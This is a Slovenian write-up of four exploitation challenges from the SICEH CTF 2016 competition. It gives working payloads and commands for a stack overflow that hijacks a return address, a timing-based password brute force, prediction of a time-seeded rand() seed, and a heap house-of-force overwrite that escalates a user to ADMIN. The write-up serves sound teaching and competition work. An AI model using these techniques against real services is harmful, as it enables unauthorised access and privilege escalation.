SICEH CTF 2016 - Eksploitacija
Ta objava vsebuje primere rešitev nalog iz kategorije eksploitacija na tekmovanju SICEH CTF 2016, ki je potekalo v okviru konference Infosek 2016.
1. Pozdravljeni
Program nas vpraša za ime in nas pozdravi. Z uporabo dolgega imena lahko povzročimo buffer overflow:
> python -c 'print("a"*300)' | ./exp1
Prosimo vnesite vaše ime:
Dobrodošli, aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!
[1] 10163 done python -c 'print("a"*100)' |
10164 segmentation fault (core dumped) ./exp1
Poglejmo si, kako izgleda stack po vnosu imena "aaaaaaaa":
- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF 0x7ffd4848f4c0 6161 6161 6161 6161 0000 0000 0000 0000 aaaaaaaa........ 0x7ffd4848f4d0 2008 4000 0000 0000 7006 4000 0000 0000 [email protected].@..... 0x7ffd4848f4e0 f0f4 4848 fd7f 0000 1608 4000 0000 0000 ..HH......@..... 0x7ffd4848f4f0 2008 4000 0000 0000 91d2 d7b2 127f 0000 .@.............
Vidimo, da začnemo po 40 znakih pisati čez return address funkcije greetUser
, v kateri se trenutno nahajamo. Če pogledamo seznam funkcij, opazimo funkcijo printFlag
, ki nam prikaže zastavico:
... 0x00400766 1 80 sym.greetUser 0x004007b6 6 82 sym.printFlag 0x00400808 1 21 sym.main ...
Če po 40 znakih na stack napišemo naslov funkcije printFlag
, se bo funkcija greetUser
po izvedbi "vrnila" na funkcijo printFlag
in dobili bomo zastavico:
> echo -e "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xb6\x07\x40" | nc $ip_naslov 7001
Prosimo vnesite vaše ime:
Dobrodošli, aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa¶@!
ISCTF{buff3r_j3_pr3m4j}
2. Bruteforce
Naloga od nas zahteva da z golo silo ugotovimo geslo, dolgo 8 znakov, sestavljeno iz 64 možnih različnih znakov. Izvorno kodo imamo na voljo. Zanima nas predvsem sledeči del:
for (i = 0; s1[i]; ++i) { if (s1[i] != s2[i]) { /* Bruteforce prevention, sleep 100 ms */ nanosleep((const struct timespec[])0, NULL); break; } }
Če je geslo napačno, program spi 100 ms, da bi preprečil napad z golo silo, vendar pa je koda pomankljiva: for
zanka se ponovi za vsak znak, ki smo ga vnesli. Če torej vnesemo le en znak, ki je pravilen, do spanja ne bo prišlo. Preizkusimo:
> time echo "a" | nc $ip_naslov 7002 Please enter your password: Incorrect password ... 0.150 total > time echo "x" | nc $ip_naslov 7002 Please enter your password: Incorrect password ... 0.050 total
Točni časi se lahko razlikujejo, vendar pa so pri pravilnem znaku povprečno za 100 ms manjši. To nam omogoči ugibanje gesla znak po znak. Zgoraj smo ugotovili, da je prvi znak x, zato moramo sedaj preizkusiti vsa gesla, dolga dva znaka, pri katerem je prvi znak x, itd. Namesto da moramo preizkusiti do 64^8 različnih gesel, lahko sedaj geslo ugotovimo v največ 64*8 poskusih. Ob pravilnem geslu prejemmo zastavico:
> echo "xB3Pj691" | nc $ip_naslov 7002
Please enter your password: Here is your flag: ISCTF{u5e_th3_brain_Luke}
3. Lahko napoveš prihodnost?
Program prikaže 16 naključnih števil nato pa od nas zahteva, da napišemo naslednjih 16. Če so pravilne, dobimo zastavico. Na voljo imamo izvorno kodo programa:
... srand(time(0) + 31337); printf("Mojih 16: "); for (i = 0; i < 16; ++i) { printf("%d ", rand()); } printf("\nTvojih 16: "); for (i = 0; i < 16; ++i) { scanf("%d", &num); if (num != rand()) { puts("Narobe!"); return 1; } } ...
Vidimo, da program za generiranje števil uporablja funkcijo rand()
. Če poiščemo seme, generirano z time(0) + 31337)
, bomo lahko napovedali prihodnja števila. Če sklepamo, da je čas strežnika podoben našemu, lahko seme najdemo zelo hitro, vendar pa je tudi iskanje v celotnem območju povsem izvedljivo. Začnimo za vsak slučaj iskati eno uro pred našim trenutnim časom. Uporabili bomo naslednjo C kodo:
int a = -3600; // Začnimo s semenom, ki bi ga strežnik generiral pred eno uro for (int v = 12345; v != rand(); a++) { // Vrednost 12345 nadomestimo s prvo iskano vrednostjo, ki nam jo vrnil program srand(time(0) + 31337 + a); } for (int i = 0; i < 15; i++) rand(); // Preskočimo naslednjih 15 števil, te so od programa for (int i = 0; i < 16; i++) printf("%d ", rand()); // Naslednjih 16 pa je naših!
Pridobivanje začetne vrednosti in pošiljanje števil programu lahko seveda povsem avtomatiziramo, vendar pa zgornja preprosta rešitev zadošča za rešitev naloge:
> nc $ip_naslov 7003
Mojih 16: 1309723574 1977882142 1435436729 387850707 968205195 635717320 403837600 1455448371 1330520717 742173869 1175029050 422670495 1197500690 1136486021 1079284137 1134414691
Tvojih 16: 918853073 1477989211 1027771548 957958382 1709898936 1268414606 919203200 1525321365 633918057 177348833 1047474671 1507489765 2050806971 1158420699 1940161752 1213046897
ISCTF{ur_l1k3_b4by_n05tr4d4mU5}
4. HitriArhiv
malloc()
, struct-a chunk
ter pogostih tehnik eksploitacije heap-a.Program omogoča shranjevanje vsebine v arhiv, rezerviranje prostora, med drugim pa ima tudi funkcije za printanje zastavice, ki nam je kot navadnemu uporabniku nedostopna:
...........pozdravljeni v ┬ ┬┬┌┬┐┬─┐┬╔═╗╦═╗╦ ╦╦╦ ╦ ├─┤│ │ ├┬┘│╠═╣╠╦╝╠═╣║╚╗╔╝ ┴ ┴┴ ┴ ┴└─┴╩ ╩╩╚═╩ ╩╩ ╚╝ verzija 0.160353......... hitriARHIV vam omogoča shranjevanje besedil na hiter in enostaven način da se izognete izgubi podatkov binarne datoteke pred arhiviranjem kodirajte vedno se prepričajte, da dolžina vsebine ne presega velikosti arhivnega prostora UKAZI: 'SHRANI': Shrani vsebino v arhiv 'REZERVIRAJ': Rezerviraj prostor za arhiv 'UPORABNIK': Prikaži trenutnega uporabnika 'PRESTEJ': Preštej število shranjenih besedil 'ZADNJI': Izpiši informacije o zadnjem besedilu 'ZASTAVICA': Prikaži zastavico 'DODAJ': Dodaj ukaz ali parameter v vrsto za izvajanje 'IZVEDI': Izvedi vrsto za izvajanje 'IZHOD': Zapusti hitriARHIV Za nadaljevanje pritisnite ENTER! Ukaz: UPORABNIK Prijavljeni ste kot uporabnik 'UPORABNIK' Ukaz: ZASTAVICA Navadni uporabniki nimajo dovoljenja za ogled zastavice
Poglejmo funkcijo cmdFlag
, ki je klicana, kadar želimo printati zastavico:
... | 0x00400d21 488b45f8 mov rax, qword [rbp - local_8h] | 0x00400d25 ba00010000 mov edx, 0x100 ; 256 | 0x00400d2a 488d35f30800. lea rsi, qword [rip + 0x8f3] ; 0x401624 ; str.UPORABNIK ; "UPORABNIK" @ 0x401624 | 0x00400d31 4889c7 mov rdi, rax | 0x00400d34 e8b7faffff call section..plt.got | 0x00400d39 85c0 test eax, eax | ,=< 0x00400d3b 750e jne 0x400d4b | | 0x00400d3d 488d3dec0800. lea rdi, qword [rip + 0x8ec] ; 0x401630 ; str.Navadni_uporabniki_nimajo_dovoljenja_za_ogled_zastavice ; "Navadni uporabniki nimajo dovoljenja za ogled zastavice" @ 0x401630 | | 0x00400d44 e8affaffff call 0x4007f8 | ,==< 0x00400d49 eb4c jmp 0x400d97 | |`-> 0x00400d4b 488b45f8 mov rax, qword [rbp - local_8h] | | 0x00400d4f ba00010000 mov edx, 0x100 ; 256 | | 0x00400d54 488d350d0900. lea rsi, qword [rip + 0x90d] ; 0x401668 ; str.ADMIN ; "ADMIN" @ 0x401668 | | 0x00400d5b 4889c7 mov rdi, rax | | 0x00400d5e e88dfaffff call section..plt.got | | 0x00400d63 85c0 test eax, eax | |,=< 0x00400d65 751a jne 0x400d81 | || 0x00400d67 488b45f0 mov rax, qword [rbp - local_10h] | || 0x00400d6b 4889c6 mov rsi, rax | || 0x00400d6e 488d3dfb0800. lea rdi, qword [rip + 0x8fb] ; 0x401670 ; str.Dobrodo__li_administrator__tu_je_va__a_zastavica:_n_s_n ; "Dobrodo..li administrator, tu je va..a zastavica:.%s." @ 0x401670 ...
Vidimo, da bi kot uporabnik "ADMIN" lahko prišli do zastavice. Če pogledamo funkcijo rawSave
, ki shranjuje naša sporočila lahko vidimo, da z uporabo funkcije malloc()
prostor rezervira na heap-u. Shranimo besedilo z dolžino 264 in vsebino "aaaaaaaa" ter poglejmo, kako izgleda heap:
- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF 0x00a88420 5550 4f52 4142 4e49 4b00 0000 0000 0000 UPORABNIK....... ... 0x00a88530 6161 6161 6161 6161 0a00 0000 0000 0000 aaaaaaaa........ ...
Če prepišemo vsebino chunk-a, ki se na heap-u nahaja 0x110
nižje, lahko torej postanemo "ADMIN". Z uporabo ukazov DODAJ
in IZVEDI
lahko dosežemo buffer overflow pri ukazu SHRANI
. Program nikoli ne sprosti obstoječih chunkov, zato jih bomo težko prepisali, lahko pa prepišemo divjino, ki sledi našemu chunk-u. To nam omogoči, da spremenimo velikost divjine v 0xffffffffffffffff
, kar nam omogoči rezervacijo poljubno velikega prostora, brez da bi program od operacijskega sistema zahteval dodatni prostor. Posledično lahko dosežemo overflow naslovnega prostora. Overflow izkoristimo, da se vrnemo tik pred chunk, v katerem je shranjen uporabnik in ga z naslednjim shranjevanjem prepišemo. Če bomo za overflow uporabili chunk velikosti 264 bajtov, se želimo v spominu vrniti za:
- 264 + 8 bajtov (vsebina in velikost chunk-a z uporabnikom),
- 264 + 8 bajtov (vsebina in velikost chunk-a s katerim smo izvedli overflow),
- 8 bajtov (velikost chunka s katerim bomo prepisovali uporabnika, zato da bo vsebina poravnana z obstoječo vsebino)
> nc $ip_naslov 7004 ...........pozdravljeni v ┬ ┬┬┌┬┐┬─┐┬╔═╗╦═╗╦ ╦╦╦ ╦ ├─┤│ │ ├┬┘│╠═╣╠╦╝╠═╣║╚╗╔╝ ┴ ┴┴ ┴ ┴└─┴╩ ╩╩╚═╩ ╩╩ ╚╝ verzija 0.160353......... hitriARHIV vam omogoča shranjevanje besedil na hiter in enostaven način da se izognete izgubi podatkov binarne datoteke pred arhiviranjem kodirajte vedno se prepričajte, da dolžina vsebine ne presega velikosti arhivnega prostora UKAZI: 'SHRANI': Shrani vsebino v arhiv 'REZERVIRAJ': Rezerviraj prostor za arhiv 'UPORABNIK': Prikaži trenutnega uporabnika 'PRESTEJ': Preštej število shranjenih besedil 'ZADNJI': Izpiši informacije o zadnjem besedilu 'ZASTAVICA': Prikaži zastavico 'DODAJ': Dodaj ukaz ali parameter v vrsto za izvajanje 'IZVEDI': Izvedi vrsto za izvajanje 'IZHOD': Zapusti hitriARHIV Za nadaljevanje pritisnite ENTER! Ukaz: DODAJ Ukaz ali parameter: SHRANI Ukaz ali parameter je bil dodan v vrsto za izvajanje Ukaz: DODAJ Ukaz ali parameter: 264 Ukaz ali parameter je bil dodan v vrsto za izvajanje Ukaz: DODAJ Ukaz ali parameter: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xff\xff\xff\xff\xff\xff\xff\xff Ukaz ali parameter je bil dodan v vrsto za izvajanje Ukaz: DODAJ Ukaz ali parameter: REZERVIRAJ Ukaz ali parameter je bil dodan v vrsto za izvajanje Ukaz: DODAJ Ukaz ali parameter: -552 Ukaz ali parameter je bil dodan v vrsto za izvajanje Ukaz: DODAJ Ukaz ali parameter: SHRANI Ukaz ali parameter je bil dodan v vrsto za izvajanje Ukaz: DODAJ Ukaz ali parameter: 100 Ukaz ali parameter je bil dodan v vrsto za izvajanje Ukaz: DODAJ Ukaz ali parameter: ADMIN Ukaz ali parameter je bil dodan v vrsto za izvajanje Ukaz: DODAJ Ukaz ali parameter: ZASTAVICA Ukaz ali parameter je bil dodan v vrsto za izvajanje Ukaz: IZVEDI Dobrodošli administrator, tu je vaša zastavica: ISCTF{s1c3h_c4s71_p1v0} Izvajanje vrste zaključeno.